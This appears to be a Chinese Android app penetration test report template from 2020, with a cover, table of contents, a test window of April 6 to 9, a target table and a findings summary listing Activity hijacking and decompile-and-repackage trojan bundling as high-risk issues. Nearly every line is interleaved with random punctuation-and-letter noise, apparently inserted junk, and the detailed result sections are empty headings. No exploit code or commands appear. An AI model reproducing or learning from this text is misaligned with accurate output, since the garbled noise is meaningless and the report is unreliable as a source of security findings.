# \# T; Y6 j9 |$ W
. I) d$ Y( Q, I+ g1 r: v ' _; h1 t% z$ S7 i3 |* Y
) c) ^5 m$ U% G8 i' Q& u
% ~" [7 {- p$ w4 u+ L$ u9 q: z
1 e% S! j- c1 N! p' T4 b2 O
2 m6 v2 b4 I M3 ]1 _9 {
3 o/ k5 a$ W0 S2 R+ o9 u0 G
$ ]! _1 x; v1 t2 p# h8 c2 S, m+ ^5 L5 \4 C7 |
! X# D9 @; r l. @5 }: Y/ l$ s
, ]+ v8 K, i! L# f9 p 文档编号:
( ^9 Y0 K" G( G7 y( H' [0 f( U2 q$ @8 b$ y
3 J) ~: X: A3 _: N
+ H9 i' Y4 @# I7 I
8 B1 l" X- j. `' B# f: E2 \9 X' J" ?+ M# Y) y) @- G! t
# \4 {# @% {6 |8 P, J3 F. h. X
. ^8 z( l4 b0 m) s* w9 c
; I4 \; b( f; g0 N" x a
% ~" F# H) @3 \0 g
9 r3 y1 K( r& w- K
! H7 Y5 C( U5 @" c+ {9 ~
% W6 ?" h4 e2 A7 [6 y
. H0 a! {! r" G
- W) |" n4 b( |: V' L0 c
; {; Z- g2 k' z9 H5 l P
- `) t# ]) `+ `8 P2 Q2 e5 O/ x0 P9 g; a+ Q: ~! d
8 Y c' ]* n! |3 Z
. l0 n2 J7 [4 |% R5 S' l1 Y2 Z
2 f4 H6 q! i' Y- p# _% \& c; e' _
. e) q7 {: e0 f' x" W) F) o
6 p4 r, y, b. K& E' {# X3 p
3 T' |2 d1 K1 @" B) f. R3 {% P . `- o. O3 J% o7 R
Z% Q; q" \) L# D7 D0 d c3 H
, K' x8 B* h/ O0 g: w, S% z/ i" @
; b' ]" {( d8 h
# ~0 L. D6 U C+ K9 U/ b & E3 j0 H9 w3 l* n& }) A% s4 Z
2 W+ e8 z% h/ d6 | |% I3 P
8 t( b7 U) A$ h' G! L: g8 G3 Y; V( m* t! C) X; r7 k
! w* Q( ?& Q1 W1 b% L+ w* J1 L4 ]# W# C+ W( E
某某某APP渗透测试 $ D' _$ l& h- J5 y6 B* Z4 M$ c
6 N, X% @. X7 w; [ u0 ?" f# j( l
$ l, X4 Q( [( v+ e$ X0 O- |9 c1 z' r
0 C. Z3 z h: v t4 v) t" ?: }
0 ]( F6 o/ g% X# n: K9 }) B
; J. D2 Y- _7 `+ {. a# { y
, Q. u1 c- C s% C. O% I- L
# \ n4 J& f, V2 ]: I$ E
( u$ @ W4 j: `6 m6 M
$ L$ X" y3 n8 @% V0 C. S; l+ h
: m5 y( q% r `: ~! i
0 j: d. s( D% G- x/ g _% B& `9 q+ a+ z1 C7 o
" q% z7 W5 }: P! F$ T' d6 w& r# u1 A6 h( V- R7 M
$ i# d& k, ^5 R( n
# O h7 Y) P! [2 f# C" g- E( T8 {
8 d1 `% V/ T7 U d w' ?# _7 z0 {; p/ D. d5 N% m
8 s, b( C/ b' N9 w4 P; H- B( B$ q5 `: ]- l. s, E) m/ I% `# Y; ~
* p1 h8 T6 {: U2 P
3 d V4 K$ V- k; R
! G( ^* H' M" h! X
+ H( Y* A; B6 m+ Y2 [" n/ o' I
5 [3 g) X; s ~6 a) r2 B. f# X6 N" g0 @; S" I1 C
! I! A0 _ X$ H% S/ Z! j
/ u1 N; d- ?8 X) Z/ H2 n5 e) d* N
技 术 报 告 & W6 l& ?+ X- r) F; q
) J6 m4 C7 P1 d$ A
3 Z& r! H2 [* [+ k5 z7 Y( J
' a& Y* M) F4 x6 x3 m & |- Z) l& i+ X- j7 ?0 x; K
6 \* {; V9 _0 J+ ~7 d: T
" F7 p' `5 N! D) S2 {% V$ \; h- i
) n) X" n1 l4 H! x, P: S
' E+ u3 f: h( h8 s
" C" o# B0 ]4 n* p
/ ~! z" C3 w" Z z0 N
0 E# f' F4 v0 l& C2 C7 {. R- [# k; G
5 B7 o" G7 l, [ V1 b/ e6 g% ?& }( N& m; \# K
9 r7 ]# S; o6 i; N1 X8 R: r, J5 }/ [/ Y' [8 O' Q) }& m$ ]6 K7 K4 y
# ^. }% u8 f) u* i0 w; j
# l9 U- j7 Z2 N) g9 |- ?
7 c. W$ N3 \/ {, O. m! T9 ?
4 `# n: q5 H/ a0 \& Y2 m( x6 h& i I
- ?. U( p3 J4 e% t4 n' r
+ N6 z% b8 G+ Y5 x3 E- w: R
6 s+ I2 ]1 \( A6 Z( Q. R, Y& F5 g. t% _2 s8 e% V: C* H5 m
% q+ O: y6 L% c. W, v, L
1 ?, L0 K3 W, E0 m B* R0 T
4 S/ i9 ]3 E b% v; B, @) ` ]/ W' N% e; M. `$ u8 X: |
+ v: Y% y- _: l. y4 w S
2 S2 c$ C. z0 n$ U
* ]8 ~3 X: ^0 o9 R6 J6 Q" I
; ]% n. p" ]( v" H2 Z
. q# V6 Q: R" U8 L3 J2 D
( m1 M: m1 s2 Z! E5 U . y. q& @( @ K9 q. O1 F. w2 k
* X n: E6 }- S! F* r% a$ a
3 v$ d. c n+ r6 L! d, I6 s& L) ~8 B- G% v5 u* } \
h# k x1 @; D' ]; d5 g2 E1 B$ }5 Z1 F" i- T
- l/ r* G5 I" z3 P+ `
+ }/ g8 a7 m' V
1 W9 y8 f$ @# o3 a& X
8 g- D( D, j8 f: ^. n; }5 Z
. x0 F1 X; o9 y: p% x' W5 `
3 ?) S2 G8 z S& c# f7 D 1 f4 A4 t9 H) y8 D
- [2 w+ D8 ^6 |! g; J 4 L( C3 ~3 p( q# o) f; q1 w7 Y6 {
& M& M/ `4 c: s; W
. K+ `5 j; k7 J {2 l: z
) F) {$ u" D5 u" n; Y7 P& J% G1 t7 d; M
0 h* E" _$ M( @
' H) m/ H( v, s8 Q* V
' d, r2 E. j$ H* M3 v/ }& I8 v" h7 i" c
4 _8 t6 P" N# ^/ K1 g9 B
0 W& T4 R- T4 L' Q / }4 W% o9 k( ?8 x. j) f
1 A6 I* |8 g4 C. u
: |/ V+ V4 @- e4 y& z& j9 w4 W
, }" M& o* c% A+ o
4 I/ _+ r# r8 n+ Q' o& o! h2 D7 S' D5 N, K- K8 ^8 `6 N
3 ]* U! q5 A& @+ E8 i R3 n9 p0 l \5 I
5 O' W! H$ q; \' o( n
* r' k0 Z5 B0 j* O0 i, f( Q
8 \" `1 {. T. d, d5 W2 H
# q0 {5 ?; @1 t3 _) T, J x2 O
+ y$ `' g1 V M
% I7 u- W O4 D3 |2 X9 m i% i2 Z' ^9 v P7 ^7 m* {/ _
7 P; T2 g5 T& l" |* a* b% @3 J" l
# \( B+ n: I# q* w# K- {$ v
+ {; R$ R. K5 m' q5 |" c
V0 Q" g7 D- O4 D& d0 U3 q! w9 s E+ b' J2 I" W. i$ H7 @
/ S; \; L$ i- ^! D! W8 F) J+ |
1 o- t& |9 ^, r t
! \) j) \6 }. }
: l* @$ Y5 t, m- D1 l; n 1 L; i* A2 ~- V& E! g4 t/ Q
" b5 }+ g4 [( w, _% V
2 M/ X: C5 L) I" `# u' j, w& r C- I; ]% i8 |
" H; a1 X/ G/ ~& F& e% j& J7 J8 Z! @6 {% c4 v5 `* q+ U5 B! H
* B5 } G7 v9 t$ ?: L0 X& ^* r
5 K( Y2 p7 v7 y: L' r
. J8 v( s% }. }/ _+ P. A3 V. [* u P& S3 C9 s
/ c. G# u9 I; y( O$ l
4 P( c( X6 ]9 d! M8 x
' [ g0 K. i; }8 P
* l8 m! r& Q6 `) v8 T1 v1 c
+ B: W' w$ B8 v9 Q- q$ q
1 P5 s8 z( J- R: q5 O
# n: @- z: z0 M
- l7 w' t J2 v# P1 V$ s
7 D- p& G- r# U- k2 a- O
. |! P9 c C" X4 D5 F7 | 8 f' i) f) P5 p
3 f! t8 I2 N( A, f* o) ~9 X9 Q* [
- e3 U( j1 A( {+ Z# S
0 ^0 `5 o3 o/ x+ q8 a* I9 P
3 @& P2 C% V" f: N. I% f5 P+ a- \1 F6 W+ R5 Z: U. M& ]0 K) X$ e
% r& q0 G. @* k$ z0 o8 l2 d
( s9 |# x1 r+ S- L
& z; x. |: T4 N
- Q+ A8 m# \% t6 c t4 K
`$ S7 z/ ?$ y# n& k1 F$ \
" Q7 @" i8 {' {7 l 二〇二〇年 " v! _7 k4 d2 ?
" `/ `% l% J( S& u, I# i1 u" g6 B
' t0 Z% z" p* w% }) k1 G+ {; B1 q6 q! J7 c" d" `/ {9 s
) e# R; X" D+ V( l u5 |/ X
4 R( l* Q% e# ^ |1 T
3 V9 L! M3 |6 v+ x2 Z8 h2 t2 p' v
$ h- y( O* }/ J
[" F% c2 J' \9 X1 H
3 c' Q$ |7 q! L9 T% Z
: e- B; e/ A' a4 o6 o$ W& @- O0 G( p* \; ~9 V8 K
. {& @0 Z/ g' c/ F( K" ]
0 ]' X N, K6 o! p
# _! f3 H) Y7 N/ Q' _0 n8 O7 G ~# o3 i9 R5 n
* F- r! Q% {' k7 O
8 _2 k8 p8 Z4 a& o; G( W
; j2 k+ D X: V( ^0 f
; |6 a" [. v+ g1 j
+ Z$ G/ D" [8 k' z. E* t6 u' o" R' }# f
目 录 & g! |: |* Y) s: T. L# w% O
) e5 e$ T% q! V M
- F' _/ n" t1 u9 m: d
- Z q% a- X3 N+ U# Y 8 N3 @4 K G6 h0 f
7 T& X3 V6 j* z, D- ]7 K: v
( B6 c' N1 e$ o! o/ r( P0 k5 i ~/ R8 k1 r. Q) Z$ K/ g
8 O- x# o) N3 |" r; _6 D2 A, T
% b) F1 z0 S# O0 ?* A& B
8 U4 V. E9 [" | y
6 ~. w1 U1 N! m
0 F3 Z( k, i: h8 i: N# ?
8 G5 Y; _9 Y/ a1 _3 S' s3 m 1 概述... 3 * W; [1 B+ T' [# v( z# ]7 G& \
' n) P! a+ b* I7 g1 ]: \
# H3 W8 o& P( `6 C. `
% q! k/ I: p( U
$ c" y2 p; A8 u! r, U2 l# O/ w s2 u( a
1.2测试时间... 3
1 |2 |* S O- Y' {3 w
& [+ T2 I/ i @* S6 P3 I
$ f3 G; p- D$ o+ P
. d6 f/ B" a! B A: W
Z# G; W6 r* C& S' k' `8 V' @# c% }9 d3 ?/ G
1.3测试对象... 3 4 g! N9 w: N# W2 X% ^1 s; F; ]
2 n8 i- C d/ o }1 w& @7 W
+ P1 t0 b$ E( W* L( z3 A5 i
. S: @. p6 }7 l1 T: I
* G" i& J/ d# e6 ~% W8 J. s' |* Q4 N& q* G
1.4测试结果... 3 9 C4 h9 ^4 H1 n) a1 v7 b; n3 c
# O8 I" x: A2 n1 R' Y
% f2 l- p5 R/ p6 y4 r [/ q+ }, l; e$ b" q- \8 m
7 f; N0 F' o+ v# O- g0 @5 E5 w& |% |8 O( D& |
2 检测结果... 4
: B( @( ? a4 m4 B- u& n) t8 B
+ J8 v( M$ i7 _8 A1 Y- D4 ^5 l
~! w) _( U8 Z* p8 e5 C- U
e7 W' x8 o) F% G& O
; [, [# O- f6 J. O) h2 w
! f% ]8 V; }2 s 2.1 某某某... 4
7 o2 f6 h) v& o8 S0 _; i& d$ ]2 s. O. K0 D& B' ^
0 s4 h1 I6 M9 E+ P% @
: y* v& x% D- {3 N% X" a
. z- C$ [ c4 j9 e% m
" X/ H0 i, P0 }0 p a 2.1.1检测目标... 4
( I3 k; G+ k5 M! ?) v* l
- J9 F; C9 _) u5 \
+ i; D2 o3 u" d9 E' L6 M$ Y0 w% Q: q5 P/ f, O' A* c: _% }
4 f" K. O% W; M
" B+ d6 F% `9 J0 v- E A- w: y 2.1.2检测结果... 4 1 Z8 Y5 ]9 a ^% F5 ?) v$ O
4 P' W, U; W' l
O7 k& |7 {5 o U. v
& D6 \# }) z4 b/ D( w1 p0 \ ; [! |/ z4 @3 c. Q: |
. a6 q; s- l) s: @5 D/ Q; d: T4 W' B4 j
2.1.2.1. 4
: @' \3 r0 Z* c1 q, o
5 S* v- K3 C6 o8 l% d2 g3 u
/ |/ G7 m {' m' m& [
+ _& r. t7 ?7 P0 r
9 |. j1 b: t% Z% g( ~" K
( l! D' h" E% k 2.1.2.2. 6
5 x& e. a1 ?; U
r7 k2 t% l# x; C% g
4 N$ s, e8 u/ r. ~' O. E! N
6 T. t" X) V0 i6 W# A1 i4 f
% Z8 b; B7 M, u! x) X/ T1 D1 Y* z P% b' p( ]( R! v
) A, s; v, r: c; P8 d* Z
1 F8 p1 a* v3 e# p" a2 k
% I3 p0 Z k3 c7 a& i I
$ L1 K' ~7 ]+ Y8 H: f
( {: d' h1 Y' N& {1 ] O3 t
/ V2 ^1 ?' t" B) @ 0 N% }1 D- ]- T) h/ K% p' F2 g
: P0 o4 P7 f; d
3 T3 z- q& Y" w+ v' f; w/ {5 v1 K5 w1 T2 h/ G
8 Y( f" J2 z o9 m/ h0 V
1 n+ v, }* j# ]- j6 C8 {
. G, V6 i- M) P8 X T8 h. f: {
% L6 P% ]; ?1 H0 j: l. Y
1 概述 - e1 |" o3 ~7 ? c' R$ X
1 |; l( Q* s' F3 S6 ~: n
0 N2 q" p* z1 W! v& u$ P/ x2 [! H7 X$ a1 K, \5 J
; m2 T7 L. `7 u" L& z- s, A* H
& y7 b2 y9 o2 B# p 1.2测试时间 " _0 P9 d7 |9 q
8 o9 L; J4 Z% \8 {6 f3 j! i, f
- f* n/ y3 ?5 O7 i. z; s/ @4 Q- q: f2 n2 F0 \+ F
: q0 `3 x: L7 m
" k% A# F2 h5 Y6 b+ S , q- ~: m. E9 m! O1 [$ K$ X
3 T, C$ P5 p3 c% ^+ J
9 u8 Y! b9 w5 ~( }
9 y( Z1 F4 h) J& X |
; y9 G: a& h- s2 A; l9 o, |) M0 ?" G' Y8 E2 V
' r2 F" X3 d3 P8 b; N* j
% s2 {7 \: \# t% j! f+ ] 渗透测试时间 . b( D: K; P& V' T1 x) V
4 f2 P) z# X1 [
; s+ e$ `6 ~3 T; t# [/ B+ n3 Q% f9 }# r k
|
, z/ n: j( b2 Z$ W0 r0 B% E" E2 \
5 h* y$ Q+ O: U/ c5 o( H3 X
9 n8 v3 P/ P" o1 e7 C" }* O/ g& s2 M& Q. M
$ h7 O" l) W8 z8 @. i% N6 D& Z$ a _
6 T9 O6 i# k& B7 U) Z- { |
9 ^7 R S- h y+ ]# I5 d: Q% Z
( K! k+ ^; A; ?3 x7 z' {( G
) ~- a6 j$ [! F. g; y _- n/ h6 ~; A- E
起始时间 |4 S4 w: S& q
/ b) D) G$ k# I: s3 x; q $ C# `: g9 g* w6 o; W% `
3 r6 [; s- S3 F" y/ l) D
| & i8 h3 q. q$ V8 o
% M8 r' Q; w# b+ ?8 i
: s- s- o$ X, E8 I
$ G; }' w" n+ o$ B 8 s, ?9 X9 q' W+ @9 C5 O3 K( Q9 s
; B& C8 A0 F" R# {
2020年4月6日
- b5 [. M- Z' O% w+ {( _# d# @. j1 x4 f1 g9 O+ ~% _- v
0 F; h' A( b$ ]2 ~7 l0 l% N6 B: M9 y! D$ r, L
| ; |$ n* T1 J$ G: f
& F/ F8 d R" |- {" ]' f" y
! ] L" y" L6 Y# M8 P7 c$ d
. }7 L& ^' F& u" b
' a/ F `4 U! W% G: u9 d+ _ i7 U; A1 x8 G
|
5 \: u0 r! D% v/ W8 q3 Y: w
2 [* g& O( k: }! c
# y, z1 G8 K2 S+ B
; X7 ]- y0 |1 m* H 结束时间 ; g R1 f. B( E$ g, V
$ p d+ R& S# e7 Y0 j5 u4 S
- i- Z' S( ]- J) E$ F" {
2 D. e& ?3 x3 L6 T) O |
; v( k+ C* e6 d2 t* j5 q; }: O5 a3 r
+ A/ y0 c0 T# L" A
$ u; o# X: _& f; w6 B! \ 3 m) v2 ?& @1 c" J
& r0 C8 y+ w2 c. `* F A3 {: p 2020年4月9日
4 c: s! {# H5 P
0 [* }0 h% C# r# b7 ?3 p+ Z
( l5 |) p! t1 C! {4 u; e9 m" ^9 _4 ^, j
|
7 Y X1 o, V! k( [/ H5 k0 s% Q
# J7 t6 z" k+ L i @0 ~4 X
4 U0 f/ ~2 E/ O5 `5 t, {0 ? 9 D+ d7 P5 J. U5 O( ~ G6 e
, z4 c& b; h) ^$ S- d4 a" ~, v
9 z% r# d; h6 O( X) I0 }' K2 y. [
/ m% C8 Y7 T6 A( ]
7 A" z" m8 E9 _ D3 i/ z0 \: m
1.3测试对象 , F {; O6 j/ T$ e4 ~4 _* x6 [: y
" b6 O" C# Z, |
& {" |( ~* h8 [7 c- n6 a
6 l6 V& f4 ~# y, ], O6 x1 H+ X" M 1 u$ c( \ D# |. \; w) G0 v
( M4 S* ]1 ^$ [# d7 T. a1 p# g; p# r 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示:
; ?! W- C& f7 w$ o0 H5 D1 ^ ~" q% }# T, E4 O2 F/ S# Z; S( e
& a+ o; Z! f4 |0 R
+ J8 |+ L( L' ^, r. ]/ D
" _1 C+ N- f1 k: v4 u% m
6 K! {% e% Y: K1 i1 E7 C 表1-1 检测对象 ! K9 P* L! ? u# H# _! u* Q
/ N; u! h4 K, f' e, u6 U
( P$ W9 z% [6 A5 y) p: C- B0 x
: W) j( F+ E: j, ?& @$ _- V 0 C& x# o [ m+ w, W' I
* a6 S7 } e3 n. Y + R+ X1 N% O8 P. |, K. M
1 F/ y3 ^* Q/ F Y Y7 C5 F0 @4 A6 G5 C; ]
" L c7 b# s4 z# [9 t3 M6 A; o
|
e9 T- ?- t, X7 F6 \4 r
( {6 ~) _5 b5 g
2 B+ K+ ?4 W2 l
. _9 S+ `6 w6 d! x 序号 3 R- H% \7 m' ^# P+ f" U! ]
* Q6 g0 w+ K9 V; R8 c ' |7 {! Q3 K" ~: O D! w
( y: o4 c/ J7 H& G! r |
4 r* I; J6 o* s% b6 {+ Y }2 x, W
" d! c$ i; s4 Q3 O& v; j5 G# S * L$ L B. l8 D1 F1 ]& e( Y
5 s: y( P! F z
& H8 `0 ~( v5 k
6 n" t# ]' q; \' N7 ^. f& x 测试对象 & U6 g) B3 q: d; M
) Y- C& q$ Q; I# N8 h4 P$ h
6 m& `; O% h# B( e% j& O: ]7 B b/ ]" l3 w* ?: a2 o
| 8 e/ u# g2 t* |
' `) V! `' V$ a- z; C, A, X, D1 r 6 h9 N3 p9 k! v$ {& O+ z4 O9 L+ Q
- j' s, T' P" ~; F
3 Q; i2 x& L% m6 L R4 O$ T, K4 k) M% s, e: l
测试地址
3 {8 R$ k5 v! j, V& a8 r: Y$ u0 \9 @5 T, y
; F3 N2 j L# @- p4 w4 s! J+ w7 l
/ s0 z6 S3 b9 q" ?1 C$ U
|
) z6 L, o+ c8 W4 F1 P& t* M3 |' [; F. M/ {/ m6 y
0 z$ o4 q: a: `" B% ~) _: i6 m7 d+ ?$ U/ a
- U" e- |' ?3 }4 n6 x; O6 }, w i. b
安全漏洞
5 M) v! k& {* e( e3 Q; l& ^7 F9 n5 J
5 N# P, a$ y9 r. O3 p* f& b
& z5 N( a1 M) q6 [8 W | : x: F d" L y3 ?2 p# C! K$ t
5 A$ d* M$ j' W9 f
# A5 Z3 W7 r* M" {
2 ?/ k8 e- x: K y8 V5 w- k" M
! K3 ^6 ]3 S* w4 @1 e) U) D" v* A3 D. R( i
| . M3 Y& j! V% }6 o
5 u" o& i% @. i/ i1 N }" C : E4 M/ S' |" K
) C0 z# j" [" h' _
1 + ~1 X( f, _. s5 n
. S& {+ j4 {0 t9 C U$ W5 Z/ | C2 k4 _
, R# v2 y8 B4 h: G! y) P- k
| D, C$ T, b4 e1 Q* f4 x
& d$ i; a' J2 K7 e) y6 G5 O. Y5 _ & G1 v! l+ E4 r; @6 {
2 n2 b% c# @& v ) G1 F, h) |1 p, M1 v
& c @% r) f( }- \! k; I9 C4 k 某某某安卓APP
$ l0 [7 L; g" V% ?6 j. m; G- e0 Q
5 x# {' [# o' ~: q , n4 ]1 N) b) J. [
. e# L7 S& @ @' a1 A
|
* S" m% _ O% i5 }
3 Y! i+ I. O8 c; h% ^' |6 Z5 ~ 2 q/ |# }' L6 p# n% J1 q7 ^
6 _* M0 A* I4 H' T% y
/ V H! M& ^+ ~2 O+ Z
9 `3 f8 S, X/ \* t
/ s; Y- _0 M% n1 j& n* C. |& H- e4 w- j5 h: r: T3 |
' P; V* |* `: q8 J$ @. u! k
% D8 k7 T9 l b8 ~) [* N2 U, J* j8 c- _ | * ^% z* ^- k. C7 H: h$ V6 c" T
0 _5 q$ P) H& F% I/ W5 E
! x% F! r% V4 m7 b( y5 I0 k( Y7 a) G2 f
- J/ y" Q2 O) X, h$ b5 S2 W$ p3 r* S
; b3 k$ s+ u' S! ?, h 2
: @6 Y9 c/ X! E
( c" x2 x+ s& Y , v6 P2 Y7 j0 [( s4 C
D1 v2 f8 A7 N" ]' D. I
|
9 ?1 b d, t- H9 y% L0 y; O" R+ r9 N& X
8 }: I2 ?( \9 c H& S. ~7 e; ?1 _
2 B1 E% T b9 D8 x: K8 c+ k/ @! N5 }+ x
( Y) o; { Y3 W4 j. @3 T7 L6 M. g" A8 O7 }; y$ E: R
! S+ H U5 M( m+ ^" ~ i8 K; J( R! z _" j! F4 \
c2 B- I2 V. _; d
% e# y; R" n2 [ `3 d7 e& P+ B 1.4测试结果
3 [" v) J$ G6 q/ p$ \1 I
. n3 H+ n) `1 E% |; O
9 L6 H0 a# G+ Q! g- ^! a8 R) l( @2 s8 b, P# h9 u
* `; N8 f+ K& @4 A4 M8 g* H" m) o
在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: - Q7 G1 L7 |" l8 [8 R
7 Q2 K+ W# r9 z
9 J3 q3 k* j, }# w* c, c( b: n
; l0 N" {' O3 N! _+ \, O, K, o
h8 d2 }3 E4 q" W. o1 H J
! e! ^+ z+ p0 [
' e9 V: F9 y7 Y- S) I% H& M2 Y# G/ u9 l1 S# s n0 {5 c7 c
0 X% N3 c0 r+ u \0 w4 I' v6 d2 w! L6 X4 R" M" Z
( c7 f( ~# _- J0 Q' \( D8 G4 ]. n8 X3 F; P, k D
/ n7 a& l& w g! |/ X& e
& D8 U c8 }/ ~( s7 t
; c0 o4 d; }- _
+ X e% B" Z! N. i* h0 i
; u# i7 n) ?# E
- R$ y6 K* W: _/ q. i | 1 Q7 x# R* z; P! o; d4 b( e
& V' T9 M% f8 ]+ I O e1 o7 G! o# Q
2 \8 q) K5 q0 K" K8 `8 t* p# U; T7 l2 x3 w4 I" ~* U& g0 N& B8 O
序号 " e$ {# ?& D0 R: r
6 B3 Z) g8 n5 q- f
; ?6 b$ L9 |! d7 V( U O$ v) p8 v) d
% O3 } D; _) x
| : Q" Y( x' H4 G5 Q' \2 o# H* o( V
/ n5 `# k7 `! G6 J ! L$ H' Q' a* U2 L! ^3 e
$ H+ K( u( ~1 P0 ]
% d0 \1 J- i$ z" Y8 { V
& j, P! ?/ j0 X- {7 n0 a 系统名称
& _3 H" }- D" \ [4 r" Y: P, U
9 r( q" `; d& s. t
+ P2 Q7 I: r, e Q: S8 X
+ i# T G1 r" g9 g) i' |/ T( ?4 q | $ k4 O' ~5 K A- y0 O
( {8 ]8 X i6 n
" W) x9 P) N( p6 h. s& `6 k
, J6 K7 d$ J4 ?; z
$ Q O0 K) o: f7 |( ^
% B' @" V9 k; A- [% u5 J7 F 漏洞名称 2 e' u9 T6 g Z; ~' j3 p. z2 Q
/ G+ W) g; ]( c7 n) p& g 1 }, ]9 t5 [7 W# c7 c/ p
# B: l( z* ~" u
|
* G1 q1 e2 D" Z" R# B: D' w- u3 A+ i7 j8 `3 `3 C+ h p( _! `7 \; w% n' r
2 Z- W6 q$ \, ? N
9 c+ N* {4 B8 n8 p- k, L
8 T' _1 }1 I) A$ x
- S8 T m V4 M' O! _! y) {2 L
漏洞危害 8 E/ `2 t2 \ n* T3 a; U! s
% V, C& @. H/ e+ t$ s/ {
) w! ?/ Q! u" N% ~8 N* u- d7 j( {/ m; D C4 M3 K
| * }4 y7 n9 N, c6 [) K* {8 S a
/ K5 E. E- V$ g8 e) m& G+ y
: k7 i" }7 N& h) X) m0 i
0 O" f0 x/ @) i3 L. k# N # y3 Y: \$ m$ Z" ^- U5 `
: C! f+ Y& X- X. `5 R
修复结果 6 \; O( P! {/ Z
z6 [- T+ ^5 `' Z
9 }: z6 C: y4 W$ T* |$ A! [* {- a* Z+ Q% R; [3 V
| # Y2 V( ]) f8 T8 a# F) u( B9 b
3 M# e; `$ |) X, m9 o& }
. C, S0 @' c- t7 U& r3 z$ b
! ^( }2 ?' B, \4 n4 t4 `; g 8 h4 K, A4 l% F. G# y8 C4 ~+ i; G
& h/ t7 n5 ]+ A2 s3 { | : E1 d2 {, l; V; s8 i/ z' `9 `/ Y+ |
. A; X* B2 N4 C7 a% {5 c; U- } ( R* m' O2 F1 v+ j
- h% H* G( _) P. m
1
H% n, G; W, G/ o- U2 V
/ W% K4 Q: }2 p0 O& g' A8 h) G3 B
+ Z4 t8 h) w6 a' i: l8 I1 O
9 O" N5 ~6 J- {0 q- `4 Q( F4 \ | 8 O$ ?# [6 {5 a# C
1 n' T6 N; O+ Q
) ~* q8 k! \0 d% ]$ {6 t; F6 l; H' f4 {
$ [) ]3 c- ]3 [' P% N2 r+ W! g
! Y$ X o( A: b: C6 ?7 u 某某某某某某APP
' ~3 Z' E1 f0 u: o2 X4 C6 Z
7 q- c; Y, m% m8 ]: R. y# c # }+ G/ s% f' f
0 [# G8 z4 E8 s# s ?2 Y
|
3 I4 s6 ^3 F( K8 `" [; B6 I: W* l9 O5 [& n( X2 A
; \ K4 ]7 R) X! P3 g& r9 h, g
) f8 a' Z3 L6 C. m
3 F0 g4 O' t" N& ?! T% `
2 j( j* L( Y# ?6 N' W3 Z Activity 劫持 6 s2 e% y7 v9 G; x
5 M V5 V. R: `9 y2 m2 I2 ~
0 u1 o9 P3 n8 S. E& E1 {6 x6 |) }" E
L+ E- T) C* v
i% }7 A1 c0 Y" `4 ~' G
8 P( U3 Z4 v! G- i: Q. `/ g - n/ u9 O1 {' n
/ B& o* G% u/ Q+ c2 T
# X8 O9 F; \8 M5 y, i" H9 R5 C% Q
|
' b% K/ N# m: V% ?1 c: \$ G
# w. r$ ? R' d2 ^" a# x
) L- @7 S% Z+ f& p1 L# u, w: F8 `: v, _* b
6 D- v2 Q, g3 h; O6 h6 e1 S1 C1 t# q( L, q
高 8 _0 [$ P9 E F D
; m' z0 {" `: p4 W2 P, X
! K/ p& o+ ]9 V2 |1 ^! ~8 J" @
% y0 R: K& O) @/ X: m/ h7 } | 3 h( f3 t9 O: A6 y
8 _5 h/ N& D) K7 P3 Q6 n3 Z
5 C, A& |) C% V& l% a6 Z3 Z$ B
5 d3 D+ F2 o5 n8 K0 Z& D$ ]
6 S$ K9 i ]- f, Z ?( ~7 ~- R7 v
6 D1 N- q" t7 b8 w
8 M4 E& m& E5 V
5 g. Q, i% m# C8 d# P8 C: i) G; m* t
|
. ^( L6 f8 H7 g" C$ z) N5 z. r x( U: A5 \
% k+ n4 n' G. {; j
7 F+ v0 T' Q6 L" s5 G
3 w& n% m& [6 ]4 Q6 r8 D
7 V1 p9 C3 I- v, w, G2 c0 L1 f3 S8 E | * E- H4 G( x. \ V: \( t0 c' J
7 Q0 c4 K9 K, `3 z; p) {
4 @# h e; u7 F |
5 H; Q% u& ^& s" E9 x' b8 @0 b6 W* l* p 2 . h" q8 @8 ~7 F. u1 p) q' J
! i" j- V5 U3 l! x7 U3 e( k
+ z6 A1 J: M" V! f- n$ }6 H B% S. j
0 i' Z! u, H% U, _: s | 8 u! i4 [4 E: j# E
" v$ v! z# i! c2 P- J
8 J; Q7 A8 R- f5 Y# T* t1 z, I4 d5 t' N8 a0 o$ k
0 ] G: v9 D* z; Z- h; I( x% ~) d0 r; g
某某某某某某APP
5 U9 ]3 c, q/ X C$ Y1 g8 d% u4 t/ K/ w; d3 J1 B
' \- l6 I: E) ]0 G
7 d5 I3 V( a7 w" X/ t( _
|
. Y8 u0 ~1 C2 h0 B, d/ y
- }- t# i. N& D4 S
6 r# {' I; Q1 f0 d9 |% B% B
7 e' Q& e! M: _0 a+ S3 D/ u" O% t1 T U3 @! h: y; n
; I O# c' y, q! [ 反编译二次打包捆绑木马、篡改APP代码
2 y) f/ F8 q% k: ^: v4 @7 U
3 J1 E& d% n5 l p
6 s- d% i" d0 n7 K# Y$ ?$ ?& d5 N0 P2 u+ B+ V% {
|
1 p. D. ^+ i6 A s9 F0 V; ^, w/ X0 Y4 m
# \ l! |# |$ j4 B N- Z- z4 E: [# y1 X! S* P
b6 Q4 R+ W* I' J; ~9 N
/ G6 \5 {9 v% I2 z
高
7 F/ p1 @! T. [. `
' s, `0 z$ z3 c, V0 S% o+ g' c
0 @6 ?( m2 o+ _5 [: ~% J' B1 C$ e- x- N' M$ j3 W
|
( v( A1 Z0 c5 R$ F7 Q1 {. E7 w* b/ a5 k G+ k7 e" g8 `" M
3 m! S5 q n: [
5 Y$ }* [# v @5 I) C& P7 T
/ o" I4 Z# ~% l; |& U) E
/ |! f: Y5 @: U: c5 j
$ @5 f7 | y' }. c7 f/ R+ j4 G* O! M+ C: k& p8 Q/ G# D
- V+ J+ M# r6 b4 P% r" N' i) T
, e0 @: y* h$ @3 O$ D$ J | & b- P+ S. P" f2 Y" F3 T
$ n* [9 z% [% ?" L, a
9 @& E% Y/ H- M- b' q3 F, O- n
, U: H3 H! d9 [" ~8 S! i
! N _( h( i* R0 }/ _, I% v5 J6 ?/ I3 J/ F9 a t
8 I$ x3 X I* x3 I9 f T2 [& E# |3 H0 \) J
w& ?6 J/ w$ u, O- H7 E
) @9 j5 X0 Q5 V" ]
3 n7 ? a8 Y% [ X J; l& d& e& t& c, L# }
. Z& [7 @ i1 o 8 X; h* K3 a5 f6 @
" P1 v2 U, h5 T1 l3 w- ]
2 _1 p4 d9 ?, t0 f
1 x0 ~7 {( b9 o; { 9 `% b# B8 I+ n9 _
